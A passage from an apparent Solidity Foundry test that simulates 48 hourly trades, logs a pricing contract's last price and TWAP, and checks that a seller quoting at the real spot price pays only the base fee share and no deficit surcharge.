        for (uint256 h = 0; h < 48; h++) { vm.warp(block.timestamp + 1 hours); honestTrade(); }

        (bool ok, uint256 twap) = p.averagePrice();
        assertTrue(ok);
        // Each honest trade can move the anchor at most 10%, so it is still ~1e18 * 0.9^48.
        emit log_named_uint("lastPrice after 48 honest trades (real 1e12)", p.lastPrice());
        emit log_named_uint("TWAP after 48 honest trades (real 1e12)", twap);
        emit log_named_uint("sellExtra at real spot (expected 0)", p.sellExtra(SQRT_P));

        // An honest seller quoting at the real spot must not pay the deficit surcharge.
        uint256[6] memory a = p.quote(address(0xBEEF), false, -1e22, SQRT_P, uint128(1e24), "");
        assertEq(a[5], 2000, "sell at unchanged spot should pay the base module share only");
    }
}